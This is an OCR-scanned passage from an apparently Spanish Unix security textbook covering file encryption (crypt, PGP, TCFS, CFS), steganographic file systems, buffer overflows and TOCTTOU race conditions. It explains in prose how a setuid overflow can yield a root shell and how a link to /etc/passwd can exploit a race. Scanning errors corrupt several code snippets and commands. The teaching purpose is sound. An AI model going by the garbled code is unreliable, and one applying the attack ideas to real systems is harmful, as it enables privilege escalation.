ner 's Toolkit aun no se encuentra disponible, pero es posible ojear lo que va a ser esta herramienta 
en las transparencias de esta conferencia, disponibles en http : / / www . porcupine . org/ f orensics/, 
donde se muestra todo lo que un exhaustivo analisis sobre Unix puede - y tambien lo que no puede 
- conseguir. 

El analisis forense, especialmente la recuperation de datos, es especialmente importante a la hora 
de analizar los alcances de una intrusion a un equipo. En estas situaciones, es muy posible que 
el atacante modifique ficheros de log (cuando no los borra completamente), troyanize programas o 
ejecute procesos determinados: es aquf donde la persona encargada de retornar al sistema a la nor- 
malidad debe desconfiar de cuanto la maquina le diga, y recurrir al analisis forense para determinar 
el impacto real del ataque y devolver el sistema a un correcto funcionamiento. 


4.8 Almacenamiento seguro 

4.8.1 La orden crypt (1) 

La orden crypt permite cifrar y descifrar ficheros en diferentes sistemas Unix; si no recibe parame- 
tros lee los datos de la entrada estandar y los escribe en la salida estandar, por lo que seguramente 
habremos de redirigir ambas a los nombres de fichero adecuados. Un ejemplo simple de su uso 
puede ser el siguiente: 

$ crypt <f ichero.txt >fichero . crypt 
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Enter key: 

$ 

En el anterior ejemplo hemos cifrado utilizando crypt el archivo fichero.txt y guardado el resul- 
tado en fichero . crypt; el original en texto claro se mantiene en nuestro directorio, por lo que si 
queremos evitar que alguien lo lea deberemos borrarlo. 

Para descifrar un fichero cifrado mediante crypt (por ejemplo, el anterior) utilizamos la misma 
orden y la misma clave: 

$ crypt <f ichero . crypt>salida.txt 
Enter key: 

$ 

El anterior comando ha descifrado fichero . crypt con la clave tecleada y guardado el resultado en 
el archivo salida.txt, que coincidira en contenido con el anterior fichero.txt. 

crypt no se debe utilizar nunca para cifrar information confidential; la seguridad del algorit- 
mo cle cifra utilizado por esta orden es minima, ya que crypt se basa en una maquina con un rotor 
de 256 elementos similar en muchos aspectos a la alemana Enigma , con unos metodos cle ataque 
rapidos y conocidos por todos ([RW84]). Por si esto fuera poco, si en lugar de teclear la clave 
cuando la orden nos lo solicita lo hacemos en linea de comandos, como en el siguiente ejemplo: 

$ crypt clave < fichero.txt > fichero . crypt 

$ 

Entonces a la clebilidad criptografica de crypt se une el hecho de que en muchos Unices cualquier 
usuario puede observar la clave con una orden tan simple como ps (no obstante, para minimizar es- 
te riesgo, el propio programa guarda la clave y la elimina de su linea de argumentos nada mas leerla). 

Obviamente, la orden crypt (1) no tiene nada que ver con la funcion crypt (3), utilizada a la 
hora de cifrar claves de usuarios, que esta basada en una variante del algoritmo des y se puede 
considerar segura en la mayoria de entornos. 

4.8.2 PGP: Pretty Good Privacy 

El software PGP, clesarrollado por el criptologo estadounidense Phil Zimmermann ([Zim95a], 
[Zim95b]), es mundialmente conocido como sistema de firma digital para correo electronico. Aparte 
de esta funcion, PGP permite tambien el cifrado de archivos de forma convencional mediante 
criptografia simetrica ([Gar95]); esta faceta de PGP convierte a este programa en una excelente 
herramienta para cifrar archivos que almacenamos en nuestro sistema; no es el mismo mecanismo 
que el que se emplea para cifrar un fichero que vamos a enviar por correo, algo que hay que hacer 
utilizando la clave publica del destinatario, sino que es un metodo que no utiliza para nada los 
anillos de PGP, los userlD o el cifrado asimetrico. Para ello utilizamos la option -c 7 desde linea 
de ordenes: 

anita:~$ pgp -c fichero.txt 
No configuration file found. 

Pretty Good Privacy (tm) 2.6.3i - Public-key encryption for the masses. 

(c) 1990-96 Philip Zimmermann, Phil’s Pretty Good Software. 1996-01-18 
International version - not for use in the USA. Does not use RSAREF. 

Current time: 2000/03/02 07:18 GMT 

You need a pass phrase to encrypt the file. 

7 1. os ejemplos se han realizado con PGP 2.6.3i, en versiones posteriores han cambiado la sintaxis y la forma de 
trabajar. 
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Enter pass phrase: 

Enter same pass phrase again: 

Preparing random session key. . .Just a moment. . . . 

Ciphertext file: f ichero .txt .pgp 
anita: 

Esta orden nos preguntara una clave para cifrar, una pass phrase, que no tiene por que ser (ni 
es recomendable que lo sea) la misma que utilizamos para proteger la clave privada, utilizada en 
el sistema de firma digital. A partir cle la clave tecleada (que obviamente no se muestra en pan- 
talla), PGP generara un archivo denominado f ichero . txt .pgp cuyo contenido es el resultado de 
comprimir y cifrar (en este orden) el archivo original. Obviamente, fichero.txt no se elimina 
automaticamente, por lo que es probable que deseemos borrarlo a mano. 

Si lo que queremos es obtener el texto en claro de un archivo previamente cifrado simplemente 
hemos de pasar como parametro el nombre de dicho fichero: 

anita: ~$ pgp fichero .txt .pgp 
No configuration file found. 

Pretty Good Privacy (tm) 2.6.3i - Public-key encryption for the masses. 

(c) 1990-96 Philip Zimmermann, Phil’s Pretty Good Software. 1996-01-18 
International version - not for use in the USA. Does not use RSAREF. 

Current time: 2000/03/02 07:24 GMT 

File is conventionally encrypted. 

You need a pass phrase to decrypt this file. 

Enter pass phrase: 

Just a moment ... .Pass phrase appears good. . 

Plaintext filename: fichero.txt 
anita: ~$ 

Como vemos, se nos pregunta la clave que habfamos utilizado para cifrar el archivo, y si es correcta 
se crea el fichero con el texto en claro; como sucedia antes, el archivo original no se elimina, por lo 
que tendremos ambos en nuestro directorio. 

PGP ofrece un nivel de seguridad muchfsimo superior al de crypt (1), ya que utiliza algoritmos de 
cifra mas robustos: en lugar de implementar un modelo similar a Enigma, basado en maquinas de 
rotor, PGP ofrece cifrado simetrico principalmente mediante IDEA, un algoritmo de clave secreta 
desarrollado a finales de los ochenta por Xuejia Lai y James Massey. Aparte de IDEA, en versiones 
posteriores a la utilizada aqui se ofrecen tambien Triple DES (similar a DES pero con una longitud 
de clave mayor) y CAST5, un algoritmo canadiense que hasta la fecha solo ha podido ser atacado 
con exito mediante fuerza bruta; este ultimo es el cifrador simetrico utilizado por defecto en PGP 
5.x. 

4.8.3 TCFS: Transparent Cryptographic File System 

TCFS es un software desarrollado en la Universidad de Salerno y disponible para sistemas Linux 
que proporciona una solucion al problema de la privacidad en sistemas de ficheros distribuidos como 
NFS: tfpicamente en estos entornos las comunicaciones se realizan en texto claro, con la enorme 
amenaza a la seguridad que esto implica. TCFS almacena los ficheros cifrados, y son pasados a 
texto claro antes de ser leidos; todo el proceso se realiza en la maquina cliente, por lo que las claves 
nunca son enviadas a traves de la red. 

La principal diferencia de TCFS con respecto a otros sistemas de ficheros cifrados como CFS es que, 
mientras que estos operan a nivel de aplicacion, TCFS lo hace a nivel de nucleo, consiguiendo asf 
una mayor transparencia y seguridad. Obviamente esto tiene un grave inconveniente: TCFS solo 
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esta disenado para funcionar dentro del nucleo de sistemas Linux, por lo que si nuestra red de Unix 
utiliza otro cion del sistema operativo, no podremos utilizar TCFS correctamente. No obstante, 
esta gran integration de los servicios de cifrado en el sistema de los ficlreros hace que el modelo sea 
transparente al usuario final. 

Para utilizar TCFS necesitamos que la maquina que exporta directories via NFS ejecute el demonio 
xattrd; por su parte, los clientes han de ejecutar un nucleo compilado con soporte para TCFS. 
Ademas, el administrador de la maquina cliente ha de autorizar a los usuarios a que utilicen TCFS, 
generando una clave que cada uno de ellos utilizara para trabajar con los ficheros cifrados; esto se 
consigue mediante tefsgenkey, que genera una entrada para cada usuario en /etc/tcf spasswd: 

rosita:~# tefsgenkey 
login: toni 
password: 

now we’ll generate the des key. 
press 10 keys:********** 

Ok. 

rosita:~# cat /etc/tcf spasswd 
toni : 2rCmyOUsM5IA= 
rosita: ~# 

Una vez que un usuario tiene una entrada en /etc/tcf spasswd con su clave ya puede acceder a 
ficheros cifrados; para ello, en primer lugar utilizara tef slogin para insertar su clave en el kernel , 
tras lo cual puede ejecutar la variante de mount distribuida con TCFS para montar los sistemas que 
el servidor exporta. Sobre los archivos de estos sistemas, se utiliza la variante de chattr de TCFS 
para activar o clesactivar el atributo X (podemos visualizar los atributos de un fichero con lsattr), 
que indica que se trata de archivos que necesitan al demonio de TCFS para trabajar sobre ellos 
(cifrando o descifrando) . Finalmente, antes de abandonar una sesion se ha de ejecutar tef slogout, 
cuya funcion es eliminar la clave del kernel de Linux. Tambien es necesaria una variante de passwd, 
proporcionada con TCFS, que regenera las claves de acceso a archivos cifrados cuando un usuario 
cambia su password. 

TCFS utiliza uno de los cuatro modos de funcionamiento que ofrece el estandar DES ([oS80]) 
denominado CBC ( Cipher Block Chaining). El principal problema de este modelo (aparte de la 
potencial inseguridad de DES) es la facilidad para insertar information al final del fichero cifrado, 
por lo que es indispensable recurrir a estructuras que permitan detectar el final real de cada archivo; 
otro problema, menos peligroso a priori, es la repetition de patrones en archivos que ocupen mas de 
34 Gigabytes (aproximadamente), que puede conducir, aunque es poco probable, a un criptoanalisis 
exitoso en base a estas repeticiones. Mas peligroso es el uso del mismo password de entrada al sis- 
tema como clave de cifrado utilizando la funcion resumen MD5 (el peligro no proviene del uso de 
esta funcion hash , sino de la clave del usuario); previsiblemente en futuras versiones de TCFS se 
utilizaran passphrases similares a las de PGP para descifrar y descifrar. 

4.8.4 Otros metodos de almacenamiento seguro 

En los ultimos ahos los usuarios de Unix se han concienciado cada vez mas con la seguridad de los 
datos que poseen en sus sistemas, especialmente de la privacidad de los mismos: un sistema fiable 
ha de pasar necesariamente por un metodo de almacenamiento seguro; por supuesto, esta preocu- 
pacion de los usuarios automaticamente se traduce en mas investigaciones y nuevos desarrollos en 
este campo de la seguridad. En este capftulo hemos analizado las ventajas, las desventajas y el 
funcionamiento de algunos de estos sistemas, desde el modelo clasico y habitual en Unix hasta las 
ultimas herramientas de analisis forense y su problematica, pasando por aplicaciones tan simples 
como crypt o tan complejas como PGP; aunque se ha pretendido dar una vision general de lo que 
se entiende por un almacenamiento seguro en Unix, es imposible tratar todas las implementaciones 
de sistemas que incremental! la seguridad en la actualidad. No obstante, antes de finalizar este 
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capftulo hemos preferido comentar algunas de las caracterfsticas de sistemas que se han hecho ya, 
se estan haciendo, o previsiblemente se haran en un futuro no muy lejano un hueco importante 
entre los mecanismos de almacenamiento seguro en Unix. 

No podemos finalizar sin hablar del sistema CFS ( Cryptographic File System ), del experto en 
seguridad Matt Blaze ([Bla93]), que se ha convertido en el sistema mas utilizado en entornos donde 
coexisten diferentes clones de Unix (ya hemos comentado el problema de TCFS y su dependencia 
con Linux). Provee de servicios de cifrado a cualquier sistema de ficheros habitual en Unix, NFS 
incluido, utilizando una combination de varios modos de trabajo de DES que son lo suficientemente 
ligeros como para no sobrecargar demasiado a una maquina normal pero lo suficientemente pesados 
como para proveer de un nivel aceptable de seguridad. Los usuarios no tienen mas que asociar una 
clave a los directories a proteger para que CFS cifre y descifre sus contenidos de forma transparente 
utilizando dicha clave; el texto en claro de los mismos nunca se almacena en un dispositivo o se 
transmite a traves de la red, y los procedimientos de copia de seguridad en la maquina no se ven 
afectados por el uso de CFS. Todo el proceso se realiza en el espacio de usuario (a diferencia de 
TCFS, que operaba dentro del kernel de Linux) utilizando principalmente el demonio cfsd en la 
maquina donde se encuentren los sistemas cifrados. 

Peter Gutmann, del que ya hemos hablado en este capftulo, desarrollo en la primera mitad de 
los noventa SFS ( Secure File System). Este modelo de almacenamiento seguro se diseno original- 
mente para sistemas MS-DOS o Windows, donde funciona como un manejador de clispositivos mas, 
aunque en la actualidad existen tambien versiones para Windows 95, Windows NT y OS/2. No 
esta portado a Unix, pero aquf lo citamos porque existe un sistema de almacenamiento seguro para 
Unix denominado tambien Secure File System, SFS, pero no tiene nada que ver con el original de 
Gutmann. El SFS de Unix funciona de una forma similar a CFS pero utilizando el criptosistema 
Blowfish y una version minimalista de RSA en lugar de DES; no vamos a entrar en cletalles de este 
software principalmente porque su uso en entornos Unix no esta ni de lejos tan extendido como el 
de CFS. 

La criptograffa es la herramienta principal utilizada en la mayorfa de los sistemas de almacena- 
miento seguro; sin embargo, todos ellos plantean un grave problema: toda su seguridad reside en la 
clave de cifrado, de forma que el usuario se encuentra indefenso ante metodos legales - o ilegales - 
que le puedan obligar a desvelar esta clave una vez que se ha determinado la presencia de informacion 
cifrada en un dispositivo de almacenamiento. Esto, que nos puede parecer algo exagerado, no lo es 
en absoluto: todos los expertos en criptograffa coinciden en afirmar que los metodos de ataque mas 
efectivos contra un criptosistema no son los efectuados contra el algoritmo, sino contra las personas 
(chantaje, amenazas, presiones judiciales. . . ). Intentando dar solution a este problema, durante los 
ultimos anos de la clecada de los noventa, prestigiosos investigadores de la talla de Roger Need- 
ham, Ross Anderson o Adi Shamir ([ANS98]) han establecido las bases de sistemas seguros basados 
en modelos esteganograficos, con desarrollos especialmente importantes sobre plataformas Linux 
([MK99], [vSS98]. . . ). La disponibilidad del codigo fuente completo de este cion de Unix unida a su 
polftica de desarrollo ha propiciado enormemente estos avances, hasta el punto de que existen en la 
actualidad sistemas de ficheros basados en esteganograffa que se insertan en el kernel igual que lo 
hace un sistema normal como ufs o nfs, o que se ahaden a ext2 proporcionando funciones de cifrado. 

La idea es sencilla: si por ejemplo tenemos cinco archivos cifrados con una aplicacion como PGP, 
cualquier atacante con acceso al dispositivo y que haga unas operaciones sobre hcheros puede deter- 
minar que tenemos exactamente esos archivos cifrados; con esta informacion, su labor para obtener 
la informacion esta muy clara: se ha de limitar a obtener las cinco claves privadas usadas para cifrar 
los ficheros. Conocer el numero exacto es de una ayuda incalculable para el atacante. Con los siste- 
mas esteganograficos, a pesar de que es imposible ocultar la existencia de cierta informacion cifrada, 
alguien que la inspeccione no va a poder determinar si la clave de clescifrado que el propietario le 
ha proporcionado otorga acceso a toda la informacion o solo a una parte de la misma. Un atacante 
que no posea todas las claves no va a poder descifrar todos los ficheros, y lo mas importante: no 
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va a poder saber ni siquiera si otros archivos aparte de aquellos a los que ha accedido existen o 
no, aunque posea un acceso total al software y al soporte fisico. Para conseguir esto se utiliza una 
propiedad de ciertos mecanismos de seguridad denominada plausible deniability , algo que se vendrfa 
a traducir como ‘negation creible’; dicha propiedad permitiria a un usuario negar de forma creible 
que en un dispositivo exista mas informacion cifrada de la que ya se ha podido descubrir, o que 
cierta transaction se haya llevado a cabo. Volviendo al ejemplo de PGP, el usuario podrfa revelar 
la clave de cifrado de solo uno o dos de los archivos, aquellos que no considere vitales, ocultando 
las claves y la existencia del resto sin que el atacante sea capaz de determinar que la informacion 
accedida no es toda la existente. 



CAPITULO 4. 


EL SISTEMA DE FIGHEROS 



Capitulo 5 


Programas seguros, inseguros y 
nocivos 


5.1 Introduction 

En 1990 Barton P. Miller y un grupo de investigadores publicaron [MFS90], un articulo en el que 
se mostraba que demasiadas herramientas estandar (mas del 25%) de Unix fallaban ante elementos 
tan simples como una entrada anormal. Cinco aiios mas tarde otro grupo de investigation, dirigido 
tambien por Barton P. Miller, realizo el estudio [MKL+95], lamentablemente no publicado; las con- 
clusiones en este ultimo estudio fueron sorprendentes: el sistema con las herramientas mas estables 
era Slackware Linux, un Unix gratuito y de codigo fuente libre que presentaba una tasa de fallos 
muy inferior al de sistemas comerciales como Solaris o IRIX. Aparte de este hecho anecdotico, era 
preocupante comprobar como la mayoria de problemas descubiertos en 1990 seguia presente en los 
sistemas Unix estudiados. 

Aunque por fortuna la calidad del software ha mejorado mucho en los ultimos aiios 1 , y esa mejora 
lleva asociada una mejora en la robustez del codigo, los fallos y errores de diseiio en aplicaciones o 
en el propio niicleo son una de las fuentes de amenazas a la seguridad de todo sistema informatico. 
Pero no solo los errores son problematicos, sino que existen programas - como los virus - realizados 
en la mayoria de situaciones no para realizar tareas utiles sino para comprometer la seguridad de 
una maquina o de toda una red. Este tipo de programas solamente compromete la seguridad cuando 
afectan al administrador; si un virus infecta ficheros de un usuario, o si este ejecuta un troyano, solo 
podra perjudicarse a si mismo: podra borrar sus ficheros, enviar correo en su nombre o matar sus 
procesos, pero no hacer lo mismo con el resto de usuarios o el root. El problema para la seguridad 
viene cuando es el propio administrador quien utiliza programas contaminados por cualquier clase 
de fauna, y para evitar esto hay una medida de protection basica: la prevention. Es crucial que 
las actividades como administrador se reduzcan al minimo, ejecutando como usuario normal las 
tareas que no requieran de privilegios. Cuando no quede mas remedio que trabajar como root (por 
ejemplo a la hora de instalar software en el sistema), no hemos de ejecutar nada que no provenga 
de una fuente fiable, e incluso asi tomar precauciones en caso de que el programa realice funciones 
minimamente clelicadas para el sistema operativo (por ejemplo, probarlo antes en una maquina de 
testeo, o en entornos cerrados con chroot ()). Es muy normal, sobre todo entre administradores de 
Linux, el recomendar que no se ejecute nada sin haber leido previamente el codigo fuente, o al menos 
que dicho codigo este disponible; esto, aunque es una solution perfecta al problema, es inaplicable 
en la mayoria de situaciones. Por un lado, no todas las aplicaciones o sistemas tienen su codigo 
abierto a sus usuarios, por lo que nos estariamos restringiendo a utilizar programas generalmente 
no comerciales - algo que quizas no clepende de nosotros, como administradores -. Por otro, resulta 
absurdo pensar que un administrador tenga el tiempo necesario para leer (y lo mas importante, 

1 En Unix, claro. 
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para comprobar) cada h'nea del codigo de todos los programas instalados en sus maquinas. 


5.2 La base fiable de computo 

La base fiable (o segura) de computo ( Trusted Computing Base, TCB) es una caracteristica de 
ciertos Unices que incrementa la seguridad del sistema marcando ciertos elementos del mismo como 
‘seguros’. Aunque estos elementos son basicamente el hardware y ciertos ficheros, la parte software 
es mucho mas importante para el administrador que la maquina fisica, por lo que aqui hablaremos 
principalmente de ella. Los ficheros pertenecientes a la base segura de computo, y la TCB en su 
conjunto, tratan de asegurar al administrador que esta ejecutando el programa que clesea y no otro 
que un intruso haya podido poner en su lugar (conteniendo, por ejemplo, un troyano). La TCB 
implementa la politica de seguridad del sistema inspeccionando y vigilando las interacciones entre 
entidades (procesos) y objetos (principalmente ficheros); dicha politica suele consistir en un control 
de accesos y en la reutilizacion de objetos (como debe inicializarse o desinstalarse un objeto antes 
de ser reasignado). 

Los ficheros con la marca de seguridad activada son generalmente el propio niicleo del sistema 
operativo y archivos que mantienen datos relevantes para la seguridad, contenidos en ciertos direc- 
tories como /teb/ o /etc/auth/; cualquier fichero nuevo o que pertenezea a la TCB pero que haya 
sido modificado automaticamente tiene su marca desactivada. Puede ser activada o reactivada por 
el administrador (por ejemplo, en AIX con la orden tebek -a), aunque en algunos sistemas para 
que un archivo pertenezea a la TCB tiene que haber sido creado con programas que ya pertenecian 
a la TCB. Con este mecanismo se trata de asegurar que nadie, y especialmente el root , va a ejecu- 
tar por accidente codigo peligroso: si el administrador ha de ejecutar tareas sensibles de cara a la 
seguridad, puede arrancar un interprete de comandos seguro (perteneciente a la TCB) que solo le 
permitira ejecutar programas que esten en la base. 

La comunicacion entre la base fiable de computo y el usuario se ha de realizar a traves de lo 
que se denomina la ruta de comunicacion fiable ( Trusted Communication Path , TCP), ruta 
que se ha de invocar mediante una combinacion de teclas (por ejemplo, Ctrl-X Ctrl-R en AIX) 
denominada SAK ( Secure Attention Key ) siempre que el usuario cleba introducir datos que no de- 
ban ser comprometidos, como una clave. Tras invocar a la ruta de comunicacion fiable mediante la 
combinacion de teclas correspondiente el sistema operativo se ha de asegurar de que los programas 
no fiables (los no incluidos en la TCB) no puedan acceder a la terminal desde la que se ha intro- 
ducido el SAK; una vez conseguido esto - generalmente a partir de init se solicitara al usuario 
en la terminal su login y su password, y si ambos son correctos se lanzara un shell fiable (tsh), que 
solo ejecutara programas miembros de la TCB (algo que es muy util por ejemplo para establecer 
un entorno seguro para la administration del sistema, si el usuario es el root). Desde el punto de 
vista del usuario, tras pulsar el SAK lo unico que aparecera sera un prompt solicitando el login y la 
clave; si en lugar de esto aparece el sfmbolo de tsh, significa que alguien ha intentado robar nuestra 
contrasena: cleberemos averiguar quien esta haciendo uso de esa terminal (por ejemplo mediante 
who) y notificarlo al administrador - o tomar las medidas oportunas si ese administrador somos 
nosotros -. 

A pesar de la utilidad de la TCB, es recomendable recordar que un fichero incluido en ella, con la 
marca activada, no siempre es garantfa de seguridad; como todos los mecanismos existentes, la base 
fiable de computo esta pensada para utilizarse junto a otros mecanismos, y no en lugar de ellos. 


5.3 Err ores en los programas 

Los errores o bugs a la hora de programar codigo de aplicaciones o del propio niicleo de Unix 
constituyen una de las amenazas a la seguridad que mas quebraderos de cabeza proporciona a la 
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comunidad de la seguridad informatica. En la mayoria de situaciones no se trata de desconoci- 
miento a la hora de realizar programas seguros, sino del hecho que es practicamente imposible no 
equivocarse en miles de lfneas de codigo: simplemente el nucleo de Minix, un mini-Unix disenado 
por Andrew Tanenbaum ([Tan91]) con fines docentes, tiene mas de 13000 lineas de codigo en su 
version 1.0. 

Cuando un error sucede en un programa que se ejecuta en modo usuario el unico problema que suele 
causar es la inconveniencia para quien lo estaba utilizando. Por ejemplo, imaginemos un acceso no 
autorizado a memoria por parte de cierta aplicacion; el sistema operativo cletectara que se intenta 
violar la seguridad del sistema y finalizara el programa enviandole la serial SIGSEGV. Pero si ese 
mismo error sucede en un programa que corre con privilegios de root - por ejemplo, un ejecutable 
setuidado un atacante puede aprovechar el fallo para ejecutar codigo malicioso que el programa 
a priori no debia ejecutar. Y si un error similar se produce en el codigo del kernel del sistema ope- 
rativo, las consecuencias son incluso peores: se podria llegar a producir un Kernel Panic o, dicho 
de otra forma, la parada subita de la maquina en la mayoria de situaciones; el error mas grave que 
se puede generar en Unix. 

5.3.1 Buffer overflows 

Seguramente uno de los errores mas comunes, y sin cluda el mas conocido y utilizado es el stack 
smashing o desbordamiento de pila, tambien conocido por buffer overflow 2 ; aunque el gusano de 
Robert T. Morris (1988) ya lo utilizaba, no fue hasta 1997 cuando este fallo se hizo realmente popu- 
lar a raiz de [One96] . A pesar de que alguien pueda pensar que en todo el tiempo trascurrido hasta 
hoy en dfa los problemas de buffer overflow estaran solucionados, o al menos controlados, aun se 
ven con frecuencia alertas sobre programas que se ven afectados por desbordamientos (justamente 
hoy, 28 de febrero del 2000, han llegado a la lista BUGTRAQ un par de programas que aprovecha- 
ban estos errores para aumentar el nivel de privilegio de un usuario en el sistema). Aunque cada 
vez los programas son mas seguros, especialmente los setuidados, es casi seguro que un potencial 
atacante que acceda a nuestro sistema va a intentar - si no lo ha hecho ya - conseguir privilegios 
de administrador a traves de un buffer overflow. 

La idea del stack smashing es sencilla: en algunas implement aciones de C es posible corromper 
la pila de ejecucion de un programa escribiendo mas alia de los limites de un array declarado auto 
en una funcion; esto puede causar que la direction de retorno de dicha funcion sea una direction 
aleatoria. Esto, unido a permisos de los ficheros ejecutables en Unix (principalmente a los bits de Se- 
tUID y SetGID), hace que el sistema operativo pueda otorgar acceso root a usuarios sin privilegios. 
Por ejemplo, imaginemos una funcion que trate de copiar con strcpyO un array de 200 caracteres 
en uno de 20: al ejecutar el programa, se generara una violation de segmento (y por tanto el clasico 
core dump al que los usuarios de Unix estamos acostumbrados) . Se ha producido una sobreescritura 
de la direction de retorno de la funcion; si logramos que esta sobreescritura no sea aleatoria sino 
que apunte a un codigo concreto (habitualmente el codigo de un shell), dicho codigo se va a ejecutar. 

^Cual es el problema? El problema reside en los ficheros setuidados y setgidados; recordemos que 
cuando alguien los ejecuta, esta trabajando con los privilegios de quien los creo, y todo lo que ejecu- 
te lo hace con esos privilegios. . . incluido el codigo que se ha insertado en la direction de retorno de 
nuestra funcion problematica. Si como hemos dicho, este codigo es el de un interprete de comandos 
y el fichero pertenece al administrador, el atacante consigue ejecutar un shell con privilegios de root. 

Existen multitud de exploits (programas que aprovechan un error en otro programa para violar 
la politica de seguridad del sistema) disponibles en Internet, para casi todas las variantes de Unix 
y que incluyen el codigo necesario para ejecutar shells sobre cualquier operativo y arquitectura. 
Para minimizar el impacto que los desbordamientos pueden causar en nuestro sistema es necesaria 

2 Realmente el stack smashing es un caso particular del buffer overflow, aunque al ser el mas habitual se suelen 
confundir ambos terminos ([C+98]). 
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una colaboracion entre fabricantes, administradores y programadores ([Ins97], [Smi97]...). Los 
primeros han de tratar de verificar mas la robustez de los programas criticos antes de distribuirlos, 
mientras que los administradores han de mantener al mrnimo el niimero de ficheros setuidados o 
setgidados en sus sistemas y los programadores tienen que esforzarse en generar codigo con menos 
puntos de desbordamiento; en [CWP + 00] se pueden encontrar algunas lineas a tener en cuenta en 
la prevention de buffer overflows. 

5.3.2 Condiciones de carrera 

Otro error muy conocido en el mundo de los sistemas operativos son las condiciones de carrera, 
situaciones en las que dos o mas procesos leen o escriben en un area compartida y el resultado final 
depende de los instantes de ejecucion de cada uno ([Tan91]). Cuando una situation de este tipo se 
produce y acciones que deberian ser atomicas no lo son, existe un intervalo de tiempo durante el 
que un atacante puede obtener privilegios, leer y escribir ficheros protegidos, y en definitiva violar 
las politicas de seguridad del sistema ([Bis95]). 

Por ejemplo, imaginemos un programa setuidado perteneciente a root que almacene informacion 
en un fichero propiedad del usuario que esta ejecutando el programa; seguramente el codigo con- 
tendra unas lineas similares a las siguientes (no se ha incluido la comprobacion basica de errores 
por motivos de claridad): 

if (access (fichero , W_0K)==0){ 
open() ; 
write () ; 

> 

En una ejecucion normal, si el usuario no tiene privilegios suficientes para escribir en el fichero, la 
llamada a access () devolvera -1 y no se permitira la escritura. Si esta llamada no falla open() 
tampoco lo hara, ya que el UID efectivo con que se esta ejecutando el programa es el del root ; asi 
nos estamos asegurando que el programa escriba en el fichero si y solo si el usuario que lo ejecuta 
puede hacerlo - sin privilegios adicionales por el setuid -. Pero, ique sucede si el fichero cambia 
entre la llamada a access () y las siguientes? El programa estara escribiendo en un archivo sobre 
el que no se han realizado las comprobaciones necesarias para garantizar la seguridad. Por ejemplo, 
imaginemos que tras la llamada a access () , y justo antes de que se ejecute open() , el usuario borra 
el fichero referenciado y enlaza /etc/passwd con el mismo nombre: el programa estara escribiendo 
informacion en el fichero de contrasehas. 

Este tipo de situation, en la que un programa comprueba una propiedad de un objeto y luego 
ejecuta determinada action asumiendo que la propiedad se mantiene, cuando realmente no es asi, 
se denomina TOCTTOU ( Time of check to time of use). <(Que se puede lracer para evitarla? El 
propio sistema operativo nos da las diferentes soluciones al problema ([BD96]). Por ejemplo, pode- 
mos utilizar clescriptores de fichero en lugar de nombres: en nuestro caso, deberiamos utilizar una 
variante de la llamada access () que trabaje con descriptores en lugar de nombres de archivo (no 
es algo que exista realmente, seria necesario modificar el nucleo del operativo para conseguirlo); con 
esto conseguimos que aunque se modifique el nombre del fichero, el objeto al que accedemos sea el 
mismo durante todo el tiempo. Aclemas, es conveniente invertir el orden de las llamadas (invocar 
primero a open() y despues a nuestra variante de accessO); de esta forma, el codigo anterior 
quedaria como sigue: 

if ( (fd=open (fichero , 0_WR0NLY) ) ==NULL) { 

if (access2(f ileno(fp) ,W_0K)==0){ 
writeO ; 

> 

> 

No obstante, existen llamadas que utilizan nombres de fichero y no tienen un equivalente que utilice 
descriptores; para no tener que reprogramar todo el nucleo de Unix, existe una segunda solution que 
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cubre tambien a estas llamadas: asociar un descriptor y un nombre de fichero sin restringir el modo 
de acceso. Para esto se utilizaria un modo especial de apertura, Q_ACCESS que seria necesario 
implementar en lugar de los clasicos CLRDONLY, CLWRONLY o 0_RDWR; este nuevo modo garantizaria 
que si el objeto existe se haria sobre el un open() habitual pero sin derecho de escritura o lectura 
(seria necesario efectuar una segunda llamada a la funcion, con los parametros adecuados), y si no 
existe se reserva un nombre y un inodo de tipo ‘reservado’, un tipo de transition que posteriormente 
seria necesario convertir en un tipo de fichero habitual en Unix (directorio, socket, enlace. . . ) con 
las llamadas correspondientes. 


5.4 Fauna y otras amenazas 

En el punto anterior hemos hablado de problemas de seguridad clerivados de errores o descuidos 
a la hora de programar; sin embargo, no todas las amenazas logicas provienen de simples errores: 
ciertos programas, denominados en su conjunto malware o software malicioso, son creados con la 
intention principal de atacar a la seguridad 3 . En esta section vamos a hablar de algunos tipos de 
malware, sus caracteristicas y sus efectos potenciales. 

Para prevenir casi todo el software malicioso que pueda afectar a nuestros sistemas es necesaria 
una buena condemnation de los usuarios: bajo ningun concepto han de ejecutar software que no 
provenga de fuentes fiables, especialmente programas descargados de paginas underground o ficheros 
enviados a traves de IRC. Evidentemente, esto se ha de aplicar - y con mas rigor - al administrador 
de la maquina; si un usuario ejecuta un programa que contiene un virus o un troyano, es casi impo- 
sible que afecte al resto del sistema: en todo caso el propio usuario, o sus ficheros, seran los unicos 
perjudicados. Si es el root quien ejecuta el programa contaminado, cualquier archivo del sistema 
puede contagiarse - virus - o las acciones destructivas del malware - troyano - afectaran sin limites 
a todos los recursos del sistema. Aparte de descargar el software de fuentes fiables, es recomendable 
utilizar las ‘huellas ’ de todos los programas (generalmente resumenes md5 de los ficheros) para 
verificar que hemos bajado el archivo legitimo; tambien es preferible descargar el codigo fuente y 
compilar nosotros mismos los programas: aparte de cuestiones de eficiencia, siempre tenemos la 
posibilidad de revisar el codigo en busca de potenciales problemas de seguridad. 

Otra medida de seguridad muy importante es la correcta asignacion de la variable de entorno 
SPATH, especialmente para el administrador del sistema. Esta variable esta formada por todos los 
directories en los que el shell buscara comandos para ejecutarlos; podemos visualizar su contenido 
mediante la siguiente orden: 

anita:~# echo $PATH 

/ sbin : / usr/ sbin : /bin : /usr/bin : / usr/local/sbin : /usr /local/ sbin : 

/usr/ dt/bin : /usr/ openwin/bin : /usr/ share/texmf /bin 

anita: ~# 

Cuando un usuario teclea una orden en la linea de comandos, el shell busca en cada uno de estos 
directories un ejecutable con el mismo nombre que el tecleado; si lo encuentra, lo ejecuta sin mas, y 
si no lo encuentra se produce un mensaje de error (el clasico ‘command not found’). Esta busqueda 
se realiza en el orden en que aparecen los directories del $PATH: si por ejemplo se hubiera tecleado 
'Is 1 , en nuestro caso se buscaria en primer lugar /sbin/ls; como - seguramente - no existira, 
se pasara al siguiente directorio de la variable, esto es, se intentara ejecutar /usr/sbin/ls. Este 
fichero tampoco ha de existir, por lo que se intentara de nuevo con /bin/ls, la ubicacion normal 
del programa, y se ejecutara este fichero. 

^Que problema hay con esta variable? Muy sencillo: para que sea mmimamente aceptable, ninguno 
de los directories del $PATH ha de poseer permiso de escritura para los usuarios normales; esto 

^Realmente, algunos de ellos no son necesariamente nocivos; es su uso indebido y no la intencion de su programador 
lo que los convierte en peligrosos. 
